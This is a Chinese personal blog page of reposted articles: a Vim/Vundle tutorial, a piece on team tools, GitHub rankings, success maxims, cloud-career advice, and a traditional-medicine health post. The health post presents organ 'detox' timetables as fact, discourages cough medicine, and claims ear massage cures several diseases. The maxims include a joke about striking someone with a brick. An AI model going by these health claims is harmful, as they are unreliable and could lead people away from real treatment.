posts - 189,comments - 115,trackbacks - 0

Linux应用环境实战02:打造属于自己的Vim

http://www.blogjava.net/youxia/archive/2015/01/09/linux002.html

Linux应用环境实战01:玩转Linux系统的方法论

  Linux系统中很多东西都是以脚本代码、配置文件的形式存在,使用Linux系统时,需经常对这些文件进行编辑。很显然,如果没有文本编辑器,江湖之路寸步难行。

  我的选择是Vim。Vim是Linux系统上的最著名的文本/代码编辑器,也是早年的Vi编辑器的加强版,被誉为文本/代码编辑器之中最为优秀经典的上古神器。 它之所以会获得如此美誉,我想主要有以下原因:1.它古老而神秘,学习曲线陡峭,难以驾驭,但是一旦学会则受益匪浅。如今被看作是高手、Geek们专用的编辑器。所以尽管 Vim 已经是古董级的软件,但还是有无数新人迎着困难去学习使用。 2.轻便,无需多言,当仅仅只需要对某一文本文件(比如脚本代码、配置文件)进行简单的编辑的时候,所使用的工具当然是越轻便越好。Vim同时也是阅读文本文件的利器。 3.经典巧妙的编辑方式及强大的功能。它全程使用键盘操作,用户必须记住一堆快捷键、按键组合以及各种命令才能开始使用,一旦使用熟练则编辑效率远超其余编辑器,而且具有各种插件、语法高亮、代码补全、配色方案等极其丰富的资源以及灵活的配置;

  我主要在以下情况下使用Vim: 1.用来修改服务器系统的配置文件; 很多时候, Linux 作为服务器是不会开启图形界面的,当需要远程操作时,只能利用 SSH “命令字符式”的 Shell 界面对其进行操作,这种情况下,Vim自然是首选。 2.用来阅读内核源代码和系统的脚本; 理由同上。 3.用来写简单的程序,一般都是单文件的程序,或多文件但是只有少数几个文件的项目,比如学习一门编程语言的时候做练习题,喜欢看到文件夹内干干净净,不喜欢一大堆类似.project的文件; 4.装B,花花绿绿的全文本字符界面,很酷。

  不适合Vim使用的场景: 1.大的编程项目,大的项目还是最好使用IDE,如果要远程连接没有图形界面的服务器写大项目,最好还是在服务器上建立代码仓库;理由:VIM没有好的项目管理功能,VIM的自动补全只建立在文本匹配上,没有程序语言的语义分析功能。 2.对内容的输入要求不高,但是经常需要设置显示格式,且每个动作之间本身就有很多的停顿的工作,用其他GUI编辑器(如LibreOffice Writer)效率反而比VIM高。 

  有人说,Vim是“成也插件、败也插件”。Vim灵活的配置和丰富的插件极大地增强了它的功能,但是也极大地增加了我们管理Vim的难度。首先,在使用Vim之前,必须经过适当的配置,而Vim的配置又极其繁琐。所以网上有很多诸如“万能配置”、“最强配置”的文章,这些都可以参考。但是这些文章中有些存在很多错误,甚至前后内容重复、冲突,而且这些文章是“授人以鱼,而不是授人以渔”,它们给出的配置虽然可以照抄,但是经常会让人不明所以。 Vim的插件丰富,在网上不乏使用各种插件将Vim配置成强大IDE的文章,但是Vim的插件管理非常困难,因为每安装一个插件,都需要将该插件的文件分别放到Vim安装路径下的pluginautoloadsyntaxdoc等目录下。好在是Vundle横空出世,它不仅解决了Vim插件在文件系 统中分散的问题,同时能够自动搜索和下载插件。

安装和配置Vim

  使用Vim之前当然需要先安装,不过在Ubuntu中这都不算个事,一条 sudo aptitude install命令就可以搞定。由于Vundle搜索和下载插件需要git,所以需要同时安装vim、gvim和git,如下:

sudo aptitude install vim
sudo aptitude install gvim
sudo aptitude install git


  然后,在用户的主目录中建立 .vim 目录,在 .vim 目录中建立 bundle 目录,以后Vundle自动下载的插件都保存在这里。然后,进入 Bundle 目录,使用 git clone 命令下载vundle。

  下面开始展示我的配置文件(主目录下的 .vimrc 文件)。我的配置不同于网上流传的“万能配置”、“最强配置”。我的配置是能够达到我想要的效果的 “最简单配置”。下图是第1到17行,这里配置了Vundle,使用Vundle来管理插件。在网上的一些配置中,常把Vundle的配置放到配置文件的最后,这是不对的。Vundle的配置必须放到最前面。(如果不用Vundle,用Pathogen插件也一样要把配置放到最前面。)这是因为,只有 Vundle插件运行以后,Vim才会到 ~/.vim/bundle 目录下加载其它的插件,如果Vundle没有先运行,Vim当然找不到下载的插件了。

  第18到44行,如下图,这是在GVim中截的图,顺便展示一下GVim的效果:

  第45到68行:

  第69到86行:

  从截图中可以看出,我的配置文件很简洁,并且将各种设置初略地分了类,并进行了简单的注释。该配置文件只对Vim进行最基本的设置,不包含任何键盘映射,也不包含任何脚本代码。我把Vim和GVim使用了不同的配色方案,Vim使用经典的desert,而GVim则是网上被众多人推崇的solarized,而且该配色方案是使用Vundle自动下载的。

使用Vundle管理插件

  Vundle可以自动下载和安装插件,只需要在“My Bundles Here”注释后面使用 Bundle 命令把所需要的插件列出来,每个插件一行,然后运行 :BundleInstall 命令即可。Vundle支持 github.com 和Vim的官网 vim.org 。前面的配置文件中,solarized配色方案就是Vundle从 github.com 上下载的插 件。下面,看看怎么从 vim.org 下载一个模拟黑客帝国的插件。如下图,在 .vimrc 中增加一行配置:

  保存该配置文件,并重新启动Vim后,使用 :BundleInstall 命令,可以看到自动下载和安装插件:

  输入 :Matrix 命令,可以看到如下效果:

  当然,该插件纯属娱乐。娱乐过后还是删除掉比较好。要删除一个插件,首先要从配置文件中将 Bundle 'matrix.vim--Yang' 这一行删掉或注释掉,如下图:

  然后保存配置文件,重新启动Vim,运行 :BundleClean 命令,如下图,删除一个插件后的效果:

怎么学习使用Vim

  使用Vim之前必须得先做点功课,否则根本玩不转,Vim只会滴滴滴乱响,让人一头雾水。好在Vim有一个非常棒的帮助系统,通过该帮助系统, 可以非常方便地学习Vim。比如前面展示的配置文件,我并没有做过多的解释,因为如果想了解某条设置的作用,只需要 :help 一下即可。下面以 guioptions 设置为例,来了解该帮助系统的用法。从我的截图中可以看到,我的GVim是去掉了工具栏、状态栏、菜单、滚动条的,只保留了编辑界面,要达到该效果,需要使用 set guioptions=... 来设置。要想对 guioptions 有更深入的了解,可以使用 :help guioptions 命令,如下图:

  弹出的帮助文档:

  如果想对Vim进行系统的学习,可以使用不带参数的 :help 命令,如下图:

  Vim的命令非常多,几乎键盘上的每一个按键都有特定的用途,学习Vim的时候一定要做笔记哦。下面,我给大家分享一个Vim的键盘布局图:

  (该图片非常大,可以保存下来观看,或者在新的窗口中打开观看。)

  VIM的使用技巧,看这里http://vim.wikia.com/wiki/Vim_Tips_Wiki

使用Vim阅读Linux内核源代码

  实战演示如何使用Vim阅读Linux内核源代码。工欲善其事、必先利其器,所以在开始工作前需要先安装合适的插件。我前面讲到了使用 Vundle可以自动管理插件,但是没有讲到Vim中究竟有哪些插件可用。可以到Vim的官网看看哪些插件的下载率比较靠前。地址这里:http://www.vim.org/scripts/script_search_results.php?order_by=downloads

  上图是排名前15名的插件的截图。如果只是阅读源代码的话,我觉得taglist.vim和The NERD tree这两个插件就够了,The NERD tree是浏览目录树的利器,taglist.vim是浏览代码的利器,可以非常方便地显示源代码中定义的各种类型、变量、函数等信息,也可以非常方便地在各个符号之间跳转。taglist.vim必须配合tags文件使用,Linux的内核源代码是C语言的,可以使用 ctags 命令生成tags文件。如果是想把Vim打造成强劲的IDE,还需要别的功能,比如自动补全、自动生成代码块、自动注释、自动Make、自动运行/调试等,以后需要用到相关功能的时候我再介绍相应的插件。在这里,只是Read Only,我觉得taglist.vim和The-NERD-tree足以。

  首先,使用前文《玩转Linux系统的方法论》中介绍的方法,找到Linux的内核源代码,并安装:

  然后找出它们都在文件系统的什么地方:

  taglist.vim需要tags文件的支持,而tags文件需要使用tags命令生成,所以需要安装exuberant-ctags,如下图:

  再然后,为Vim安装插件。从下面的图中可以看出,除了taglist.vim和The-NERD-tree,我还安装了a.vim,该插件可以方便地实现在.c文件和.h文件之间跳转。当插件名称中含有空格的时候,以“-”代替,如The NERD tree插件,在配置文件中需写成“The-NERD-tree”。配置插件如下图:

  安装插件如下图:

  再然后,进入Linux内核源代码包的安装目录,解压Linux内核源代码,并生成tags文件,如下图:(这两个步骤都需要有点耐心,因为解压和生成tags这两个操作都很花时间。)

  阅读代码前,需要告诉Vim使用哪一个tags文件,在这里,就是刚刚使用 ctags 生成的文件,可以通过 :set tags=/usr/src/linux-source-3.13.0/tags 来设置。为了方便起见,我把该设置放到了 .vimrc配置文件中,如下图:

  最后,启动Vim,找到相应的代码进行浏览。如果编辑的是一个目录的话(如下面的 :e . 命令,表示编辑当前目录),会自动跳出The-NERD-tree的界面,在目录之间导航非常方便,如下图:

  这里以Linux内核中红黑树的实现为例。使用The-NERD-tree定位到 lib 目录下的 rbtree.c 文件,按Enter键即可打开代码。输入 :TlistToggle 命令可以打开Taglist窗口,如下图:

  在源文件中浏览时,使用Ctrl+]快捷键,可以非常方便地在符号的使用和定义之间跳转。上面的截图是将控制台全屏后的效果,是不是很拉风?

  再看看在GVim中阅读内核代码的效果:

  上图是将GVim窗口最大化后的效果,Solarized的深色主题和Ubuntu自己的紫色主题之间似乎不是很和谐,所以我在系统设置中将Ubuntu左侧的launcher隐藏了。Ubuntu不仅可以隐藏左侧的launcher,而且Gvim的菜单和系统的状态栏合并到了一起,增加了工作区域,阅读代码那是非常舒服的。

  关于The NERD tree和taglist.vim这两个插件,如果想知道关于它们的更高级的用法的话,可以使用 :help NERD_tree.txt  :help taglist.txt 命令查看它们自己的帮助文档,如下两图:


  以上截图全是图形界面下的效果。如果在全字符界面下会是什么样子的呢?

  在CentOS 5.10的全字符界面下截图。如果是默认的80×25的字符界面,工作区域就太小了,经常不能完整显示一整行代码。所以我开启了Framebuffer, 在1024×768的分辨率下工作。下图的配色方案为desert,background=dark的效果:

  还是很漂亮的,不是吗?这也是我曾经最喜欢的工作环境。可是现在已经很难再找到1024×768的4:3的显示器了。对于现在的高清宽屏显示器,点距太小,屏幕太大,眼睛就会很吃力。

  下图是使用solarized配色方案,background=dark时的效果:

  对比度比desert要更强烈一些,也还过得去。

  如果在solarized配色方案中设置background=light,则根本没法看:

  由此可见,solarized是一个专为GUI设计的配色方案。同一个配色方案,在图形界面下和在字符界面下,其效果是不同的。

  除了经典的desert,还有一个经典的配色方案,那就是evening,效果见下图:


posted @ 2015-03-24 14:57 MEYE 阅读(764) | 评论 (2)编辑 收藏

小技术团队管理工具大比拼

http://www.csdn.net/article/2015-03-23/2824289
运营和管理团队时,怎样实现合理跟踪工作内容、实现良好协作流程至关重要。对于小团队来说,该如何选择适合自己的团队管理协助工具呢?本文将围绕团队管理工具展开,聊聊你所用过的管理工具。

加入CTO俱乐部,与14000名+实名制、中高级技术管理者做朋友。 【官网申请】【上传名片快捷加入】

CTO俱乐部 会员权益:技术交流、餐叙、个人主页、CTO周刊、折扣优惠、大会门票、人才招聘、每月赠书等 


运营和管理团队时,怎样实现合理跟踪工作内容、实现良好协作流程至关重要。对于小团队来说,该如何选择适合自己的团队管理协助工具?Redmine、Trello、JIRA等,类似的团队管理工具不少,都可实现团队事务 跟踪、高效协作并快速处理任务开展讨论等基本功能。本期讨论围绕团队管理工具展开,聊聊你所用过的管理工具。

工欲善其事,必先利其器

幸或不幸,从中华文化传统看来,软件开发都落在“工”这个领域;而从近代学科分类来看, 软件开发也属于“工程”这个领域(所谓的软件工程学科)。无论传统文化的经验说法“工 欲善其事,必先利其器”,还是从现代软件工程学的理论,都强调工具在软件开发中的重要 作用。同时,软件项目涉及的技术越来越广泛,需要多个开发人员同时参与。如同建筑学一 样,软件产品将美学、人文等要求提到了和功能性要求同等重要的地位,让软件开发不再只 是程序员的事情,而需多个工种协作来完成。

因此,对于一个软件团队,当从一个人参与变为多人协作,由一个工种变为多方配合,团队 管理协作的“器”就变得可能比开发工具的“器”更重要了。基于此,我们软件部门在工作 时,都在不断尝试不同的工具。分享一下其中的部分工具使用经验,供大家参考。

需求和文档 管理类

  • Trello

Trello是一个轻量级的团队协作工作,形式灵活,操作比较简便。其使用类似于在一个白板(Board)上把团队所要做的事情都列为ToDo、Doing、Done等列表形式来进行典型的PDCA式 管理,并可对某一任务多人进行跟帖式讨论。当然这些列表都可以自定义,所以也可以用 Trello来做任何类似于便签式的管理。我们部分队员就用它来做备忘录,利用其做权限控制, 在团队间分享比如服务器IP、登录账号信息等。

项目和时间管理类

  • Redmine、Microsoft Project

这两个是使用较多的项目管理工具。Microsoft Project更多地用于项目经理进行任务拆分 (WBS),并在计算资源(包括人力)的分配和计算上功能更全,提供项目管理的视角更全; Redmine则适合在开发工作开始后整个团队自行进行任务进度管理和时间跟踪。

  • Teamcola

当开发人员面临同时处在多个项目或项目管理人员有很多杂事时,时间往往会被碎片化。对 碎片化的时间,如果没有一个良好的时间跟踪管理工具,往往容易导致效率低下。同时,如 果开发人员遇到一个困难点花费过多精力而负责人不能及时掌握并给予帮助,也会影响项目 进度。Teamcola这个由国内团队开发的时间管理工具,能较好地解决时间问题,而其管理粒 度为半小时,也不会过多增加管理成本。我们还定义了一个“杂项”事件(在半小时后做了 很多事情)。如果你有很多杂项,那么要不就是你是老板,要不就是你的时间管理有问题。

质量管理和事务/Bug管理类

  • Redmine

Redmine因其问题的字段齐全且可自定义字段,并可利用插件从csv文件中导入导出,同时 其Web访问特性也很适合开发给用户提交问题,所以是使用较多的Bug追踪系统。当然其完 全免费,也是一个重要考虑因素。

  • Git/GitLab

Git作为一个分布式代码管理工具,当我们经常在家写代码,而公司的代码服务器被配置为局 域网访问,Git以其支持离线代码管理的功能逐渐替代SVN成为团队的代码管理工具。当然众 多开源项目从SoureForge搬家到GitHub,也是开发团队必须掌握Git这个代码控制的一个重要 理由。另外,GitLab本身自带简单的问题跟踪以及Wiki系统,在小型项目可替代Redmine。

工为器所累

大家也看出来了,工具太多了!在我们的团队使用过程中,也发现了这个问题,有队员表示 “每天处理事情的系统越来越多了”、“找个合体的吧”。工具太多,使用不当,工具的使用成 本可能大于其提升的效率。最大的问题是工具间太独立,不具有单点登录功能。想想开始工 作前,要在N个工具中输入可能不同的账户名和密码,就是一件头疼的事。因此,目前这些工 具需要接入第三方且统一的用户系统的功能。

器为工所用

不想为“器”所累,在实际工作中根据不同的 项目特性,推荐采用不同的工具和工作方式,取“器”之神而不在其形。 比如对小型移动App的开发,功能需求单一,开发周期不长,维护周期也较短,采用Excel来 做WBS拆分和管理以及Bug跟踪已经足够。另外,在需求沟通和Bug跟踪时,往往需要用户参与,而让用户去学习诸如Trello、Redmine显然行不通。这时,我们会直接选用QQ来进行需 求沟通。通常,我们会建立一个群(对长期的项目)或者一个讨论组(对于短期项目),把相关 的人员都加入其中。QQ的即时信息、语音、截屏、文件传送甚至远程桌面等功能,让其在我 们的开发过程中成为一个重要的协调工具。

作者简介:熊兵 摩博科技CTO

本文来自:《程序员》电子刊2014年第4期


posted @ 2015-03-24 14:52 MEYE 阅读(375) | 评论 (0)编辑 收藏

Node.JS超越jQuery成为Github上第二受欢迎的开源项目

前十大开源项目


  • Boostrap 目前最爱欢迎的响应式前端CSS框架
    CSS  71,832  26,853  twbs/bootstrap

    The most popular front-end framework for developing responsive, mobile first projects on the web.
    Updated 8 hours ago

  • NodeJS 基于事件驱动和异步I/O的后端JavaScript平台
    JavaScript  31,923  7,105 joyent/node

    Updated 4 days ago

  • jQuery JavaScript 库
    JavaScript  31,768  7,303 jquery/jquery

    Updated 6 hours ago

  • D3 可视化HTML与SVG库。 注:部分功能与jQuery重叠,将SVG和HTML的选择器(操作)进行了统一,数据(json)驱动
    JavaScript  30,040  6,923 mbostock/d3

    Updated 4 days ago

  • 免费编程书籍
     28,703  5,787 vhf/free-programming-books

    Updated 9 hours ago

  • AngularJS HTML的Web前端框架,用来构建单页面APP
    JavaScript  28,545  10,587 angular/angular.js

    Updated 6 hours ago

  • Html5-Boilerplate 专业的前端Web网页模板,适合Web应用和网站
    JavaScript  26,669  7,016 h5bp/html5-boilerplate

    Updated 15 hours ago

  • Font-Awesome 优美的CSS字体图标集
    CSS  26,637  3,746 FortAwesome/Font-Awesome

    Updated 18 days ago

  • Ruby on Rails 平台
    Ruby  23,186  8,768 rails/rails

    Updated an hour ago

  • Impress.JS 基于CSS3和transforms和transitions(变换,移动)的展示框架。注:更炫的PPT
    JavaScript  21,517  4,478 bartaz/impress.js

    Updated 25 days ago



前十大受欢迎语言


自从2013年JavaScript成为Github上最流行的语言之后,基于JavaScript的开源项目数量旦越来越多,正不断拉开与其它语言的距离。注* 基于Python,Ruby,Java,PHP开源项目的数量相当。

目前排名:
156,118     JavaScript
87,411      Python
87,272      Ruby
71,920      Java
69,370      PHP
41,166      C
32,229      C++
30,715      Objective-C
21,548      Shell
20,358      C#


统计基于Github上2个人以上关注(star:>1)的开源项目的数量(去除没有人和只有作者本身关注的情况),Github趋势地址。 


注* 2013年的排名

没有去除关注数<2的情况,想看过去几年的情况可以查看原文地f址

RankLanguage# Repositories Created
1JavaScript264131
2Ruby218812
3Java157618
4PHP114384
5Python95002
posted @ 2015-03-18 14:06 MEYE 阅读(330) | 评论 (0)编辑 收藏

视频: 励志片:你有多想要成功?

http://v.youku.com/v_show/id_XNzM0NzYwMDY4.html?from=y1.2-1-98.3.1-1.1-1-1-0



http://v.youku.com/v_show/id_XNzM0NzYwMDY4.html


posted @ 2015-02-24 12:37 MEYE 阅读(349) | 评论 (0)编辑 收藏
创业及野心的一定要看
http://blog.csdn.net/gzshun/article/details/6990058
 1、一个年轻人,如果三年的时间里,没有任何想法,他这一生,就基本这个样子,没有多大改变了。 
2、成功者就是胆识加魄力,曾经在火车上听人谈起过温州人的成功,说了这么三个字,“胆子大”。这其实,就是胆识,而拿得起,放得下,就是魄力。 
3、这个世界,有这么一小撮的人,打开报纸,是他们的消息,打开电视,是他们的消息,街头巷尾,议论的是他们的消息,仿佛世界是为他们准备的,他们能够呼风唤雨,无所不能。你的目标,应该是努力成为这一小撮人。 
4、如果,你真的爱你的爸妈,爱你的女朋友,就好好的去奋斗,去拼搏吧,这样,你才有能力,有经济条件,有自由时间,去陪他们,去好好爱他们。 
5、这个社会,是快鱼吃慢鱼,而不是慢鱼吃快鱼。 
6、这个社会,是赢家通吃,输者一无所有,社会,永远都是只以成败论英雄。 
7、如果你问周围朋友词语,如果十个人,九个人说不知道,那么,这是一个机遇,如果十个人,九个人都知道了,就是一个行业。 
8、任何一个行业,一个市场,都是先来的有肉吃,后来的汤都没的喝。 
9、这个世界上,一流的人才,可以把三流项目做成二流或更好,但是,三流人才,会把一流项目,做的还不如三流。 
10、趁着年轻,多出去走走看看。读万卷书,不如行万里路,行万里路,不如阅人无数。 
11、与人交往的时候,多听少说。这就是,上帝为什么给我们一个嘴巴两个耳朵的原因。 
12、日常工作之外应当多注意自身修养的提高及自身技能的培训。随着计算机技术的广泛应用,为了不被社会所淘汰,就必须加强计算机技术的培训与提高。无论是企业培训还是个人培训都是不可或缺的。 
13、不要装大,对于装大的人,最好的办法就是,捡块砖头,悄悄跟上去,一下子从背后放倒他。 
14、不要随便说脏话,这会让别人觉得你没涵养,不大愿意和你交往。即使交往,也是敷衍。因为他内心认定你素质很差。 
15、想要抽烟的时候,先问下周围的人可不可以,要学会尊重别人。少在女生面前耍酷抽烟,你不知道,其实她们内心很反感。 
16、买衣服的时候,要自己去挑,不要让家人给你买,虽然你第一第二次买的都不怎么样,可是,你会慢慢有眼光的。 
17、要想进步,就只有吸取教训,成功的经验都是歪曲的,成功了,想怎么说都可以,失败者没有发言权,可是,你可以通过他的事例反思,总结。教训,不仅要从自己身上吸取,还要从别人身上吸取。 
18、学习,学习,再学习,有事没事,去书店看看书,关于管理,金融,营销,人际交往,未来趋势等这些,你能获得很多。这个社会竞争太激烈了,你不学习,就会被淘汰。中国2008底,有一百多万大学生找不到工作。竞争这么激烈,所以,一定要认识一点,大学毕业了,不是学习结束了,而是学习刚刚开始。还有,我个人推荐一个很好的视频节目,《谁来一起午餐》。 
19、如果你不是歌手,不是画家,也不是玩行为艺术的,那么,请在平时注意你的衣着。现在这个社会,衣着能表现出你属于哪一个群体,哪一个圈子。 
20、记住,平均每天看电视超过三个小时以上的,一定都是那些月收入不超过两千元的,如果你想要月收入超过两千,请不要把时间浪费在电视上。同样的道理,那些平均每天玩网络游戏或聊天超过三个小时以上的,也都是那些月收入不超过两千的。 
21、因为穷人很多,并且穷人没有钱,所以,他们才会在网络上聊天抱怨,消磨时间。你有见过哪个企业老总或主管经理有事没事经常在QQ群里闲聊的? 
22、无论你以后是不是从事销售部门,都看一下关于营销的书籍。因为,生活中,你处处都是在向别人推销展示你自己。 
23、平时的时候,多和你的朋友沟通交流一下,不要等到需要朋友的帮助时,才想到要和他们联系,到了社会,你才会知道,能够认识一个真正的朋友,有多难? 
24、如果你想知道自己将来的年收入如何。找你最经常来往的六个朋友,把他们的年收入加起来,除以六,就差不多是你的了。这个例子,可以充分的说明一点,物以类聚。 
25、不要听信身边人的话,大一不谈恋爱,好的女孩子就被别人都挑走了。想想,刚上大一就耐不住寂寞,受不住诱惑,而去谈恋爱的女孩子,值得自己去追吗?大学里,可以有一场爱情,可是,不要固执地认为,刚上大一,就必须要谈恋爱。 
26、记得,要做最后出牌的人,出让别人觉得出其不意的牌,在他们以为你要输掉的时候,这样,你才能赢得牌局。 
27、关于爱情,有这么一句话,没有面包,怎么跳舞?无论什么时候,你决定去好好爱一个人的时候,一定要考虑给她你能给予的最好的物质生活。 
28、给自己定一个五年的目标,然后,把它分解成一年一年,半年半年的,三个月的,一个月的。这样,你才能找到自己的目标和方向。 
29、无论什么时候,记住尊严这两个字,做人是要有尊严,有原则,有底线的。否则,没有人会尊重你。 
30、如果,我只能送你一句忠告,那就是,这个世界上没有免费的午餐,永远不要走捷径!
posted @ 2012-01-04 09:50 MEYE 阅读(912) | 评论 (1)编辑 收藏

技术人员需要多才多艺

2011年是云计算风起云涌的一年,云计算在国内开始走下云端,落地应用。它会最终促使全球资源集中化,各种资源通过各种技术按照市场的规则被归类集中起来,从而使得资源的利用效达到最大化。

云计算会引起人们思维方式发生很大的改变,让我们学着从整体的角度来应对各种问题,用均衡的思想去处理整个系统里局部之间的关系。它对现有的软硬件厂商带来全新的创业和创新机会,要想抓住云计算,就需要把产品功能不断完善,去抓住云计算的机会。

云计算涉及的分布式、虚拟化和自动化管理等技术均不是新技术,硬件方面也是大家所熟知的产品。可以说,云计算并不是技术的创新,而是让老技术通过重新组合发挥出更大的商业价值,是一种商业模式的创新。它的市场规模巨大。以后软件慢慢地将会以服务的形式来提供,服务将通过互联网来实现。软件是服务的载体,服务是软件的表现形式,软件和服务之间的边界会慢慢变得模糊。云计算的兴起使得传统的软件外包将发生变化,外包的重心将从流程转向软件服务。

云计算不仅影响着计算机技术的发展,还对IT专业人士的就业产生了重大影响。云计算会创造一些新的就业岗位,即便是所有的后台管理和维护工作都交给了云供应商,企业也需要对基础设施建设有比较深刻的掌握和理解。云计算催生了对这方面人才需求的同时,作为IT技术人如何在这股大潮中脱颖而出? 如果想要在云计算开辟的新环境下获得成功,技术人员需要多才多艺,而且精通各种技术。并且需要与其他非技术部门共事,需要每一个人都能身兼数职。

我们需要多学习分布式理论和工程实践以及学习安全方面的知识和法规,编写软件慢慢向服务转变,能解决大规模并行计算、数据分布存储、数据实时备份、应用高度集成以及安全可靠和个性化应用等问题。能将公司的内部基础实施和外部基础设施相衔接的混合技术是很受青睐的。



要形成自己的核心竞争力

在之前的PC时代和互联网时代,人们都有一些顾虑,觉得智能化新技术的到来和采用将会导致就业人数急剧减少。

但实际上,无论是PC还是互联网这样新技术的到来,其实都对就业有极大的促进作用,其中最明显的例子,莫过于电子商务。虽然现在的电子商务对实际线下的消费有所影响,但它本身所需的一整套产业链,从网站展示到支付和物流等都需要大量的从业人员,而且电子商务这种新模式也引起更多的消费。而且以美国为例,现阶段IT方面的就业情况和很多传统行业相比,应该光明很多。

首先,在我看来,新的技术将有力地促进就业:

其一,由于云计算技术到来,使得很多过去认为很艰难的事情成为可能,比如海量数据分析、物联网和移动互联网等,而这些新的发展将会导致更多专业人士得到工作;

其二,新的大型云计算中心建设和云计算相关产业链将会产生越来越多新的职位,也需要更多的专业人士投入其中。

其次,我认识云计算能使职业发展更专业化,也主要有下面这两点:

其一,由于公有云的越来越常见,将会减少那些在低效率的企业内部数据中心工作的系统管理人员,而在那些高效率的大型云计算中心则会增加一些系统管理员,而且这些系统管理员将会在大型云计算中心这样的大舞台得到更大的发挥和培养,以及长期经验的积累;

其二,由于云计算将会提供诸如PaaS这样高效率的开发模式,将使得很多企业的内部IT人员将会慢慢地将更多关注力从技术转向业务。这不仅能帮助这些IT人员得到更好的职业发展,而且将帮助企业的业务更好地与IT服务之间进行嫁接。

最后,我想和大家说,不要惧怕新浪潮的到来。因为新浪潮并不使你过去的经验一文不值,而是去适应这股新的浪潮,学习一些新的东西,并且在平时的实践中进行不断的积累,从而形成自己的核心竞争力,比如,对技术或者业务深刻的理解,也可以是人脉等。

posted @ 2011-12-19 19:26 MEYE 阅读(502) | 评论 (0)编辑 收藏
[转] 身体器官工作表一览,别熬夜
分类: 网络精品

任何试图更改生物钟的行为,都将给身体留下莫名其妙的疾病,20、30年之后再后悔,已经来不及了。 
一、晚上9-11点为免疫系统(淋巴)排毒时间,此段时间应安静或听音乐 。 
二、晚间11-凌晨1点,肝的排毒,需在熟睡中进行。 
三、凌晨1-3点,胆的排毒,亦同。 
四、凌晨3-5点,肺的排毒。此即为何咳嗽的人在这段时间咳得最剧烈,因排毒动作已走到肺;不应Medicine,以免抑制废积物的排除。 
五、凌晨5-7点,大肠的排毒,应上厕所排便。 
六、凌晨7-9点,小肠大量吸收营养的时段,应吃早餐。疗病者最好早吃,在6点半前,养生者在7点半前,不吃早餐者应改变习惯,即使拖到9、10点吃都比不吃好。 
七、半夜至凌晨4点为脊椎造血时段,必须熟睡,不宜熬夜 
手、脚、身体各个穴位所对应的内脏 (图) 
下面这几张图显示了,咱们的手、脚、身体各个穴位所对应的内脏。按摩的时候,对准穴位下力,才能对我们身体有益。
 
 
如图所示,比如我们的脚趾分别代表了我们眼睛和耳朵,而整个脚底就相当于人体身体的主干。
下面是手 
身体是革命的本钱,学会了自己给自己按摩一下吧。 
拉拉耳朵养护全身器官 
肾是人体重要脏器之一,乃先天之本。肾脏功能是否正常,对健康长寿有着举足轻重的作用。 
   中医五行学说认为,肾主藏精,开窍于耳,医治肾脏疾病的穴位有很多在耳部。所以经常进行双耳锻炼法,可起到健肾壮腰、养身延年的作用。 
  一、提拉耳垂法 双手食指放耳屏内侧后,用食指、拇指提拉耳屏、耳垂,自内向外提拉,手法由轻到重,牵拉的力量以不感疼痛为限,每次3~5分钟。此法可治头痛、头昏、神经衰弱、耳鸣等疾病。 
  二、手摩耳轮法 双手握空拳,以拇、食二指沿耳轮上下来回推摩,直至耳轮充血发热。此法有健脑、强肾、聪耳、明目之功,可防治阳痿、尿频、便秘、腰腿痛、颈椎病、心慌、胸闷、头痛、头昏等病症。 
  三、提拉耳尖法 用双手拇、食指夹捏耳廓尖端,向上提揪、揉、捏、摩擦15~20次,使局部发热发红。此法有镇静、止痛、清脑明目、退热、抗过敏、养肾等功效,可防治高血压、失眠、咽喉炎和皮肤病。 
  四、搓弹双耳法 两手分别轻捏双耳的耳垂,再搓摩至发红发热。然后揪住耳垂往下拉,再放手让耳垂弹回。每天两三次,每次20下。此法可促进耳朵的血液循环,有健肾壮腰之功效。 
  五、双手拉耳法 左手过头顶向上牵拉右侧耳朵数十次,然后右手牵拉左耳数十次。这一锻炼还可促进颌下腺、舌下腺的分泌,减轻喉咙疼痛,治慢性咽炎。 
  六、双手掩耳法 两手掌掩两耳廓,手指托后脑壳,用食指压中指弹击24下,可听到“隆隆”之声,曰击“天鼓”。此刺激可活跃肾脏,有健脑、明目、强肾之功效。 
  七、全耳按摩法 双手掌心摩擦发热后,向后按摩腹面(即耳正面),再向前反折按摩背面,反复按摩5~6次。此法可疏通经络,对肾脏及全身脏器均有保健作用。 
  八、双手扫耳法 以双手把耳朵由后面向前扫,这时会听到“嚓嚓”的声音。每次20下,每日数次,只要长期坚持,必能强肾健身。 
  以上八法,可根据各人所需选择,或单项或几项配合进行,只要能持之以恒,一定能收到理想的效果。 
简单易学的强肾健体保健法 
祖国传统医学认为,肾为先天之本,生命之源,肾气充盈,则精力充沛,筋骨强健,步履轻快,神思敏捷,肾气亏损则阳气虚弱,腰膝酸软,易感风寒,生疾病等。  肾虚病症有阴虚、阳虚之分。  肾阴虚者,有肺热、咽燥、腰膝酸软、头晕耳鸣、舌苔偏红等症状。 
  肾阳虚者,常见有肢体畏寒、精神萎靡、腰酸耳鸣、舌淡、体胖等症状。 
  中医认为,肢体的功能活动,包括关节、筋骨等组织的运动,皆由肝肾所支配,故有“肾主骨,骨为肾之余”的说法,因此坚持体育锻炼,以取得养筋健肾、舒筋活络、畅通气脉、增强自身抵抗力之功效,从而达到强肾健体目的。散步、慢跑、打球、做操、练拳舞剑等,都是不错的锻炼项目。下面介绍几个简单的保健方法,您可以试试。 
  搓擦腰眼:两手搓热后紧按腰部,用力搓30次。“腰为肾之府”,搓擦腰眼可疏通筋脉,增强肾脏功能。 
  揉按丹田:两手搓热,在腹部丹田处按摩30~50次。丹田乃人之真气、真精凝聚之所,为人体生命之本。此法常用之,可增强人体的免疫功能,提高人体的抵抗力,从而达到强肾固本的目的,有利于延年益寿。 
  发“吹”音 “吹”与肾相应,肾属水,故有滋养肾水的功效。反复做6~9遍。 
  另外,心脏对应的是“呵”音,肝脏对应的是“嘘”的音,脾对应的是“呼”的音,肺对应的是“斯”的音,三焦对应的是“唏”的音。发音的时间长一些,次数多一些。 
  健脾通胃肠气的保健方法: 
  双手重叠,顺时针绕肚脐揉腹,以通为主,可促进胃肠气通畅,逆时针绕肚脐揉腹,则以补为主,可起到健脾作用,便秘患者,多顺时针揉,脾虚者,则加逆时针揉,每次300~500下,每天1~2次。

我的更多文章
posted @ 2011-12-17 14:19 MEYE 阅读(512) | 评论 (0)编辑 收藏
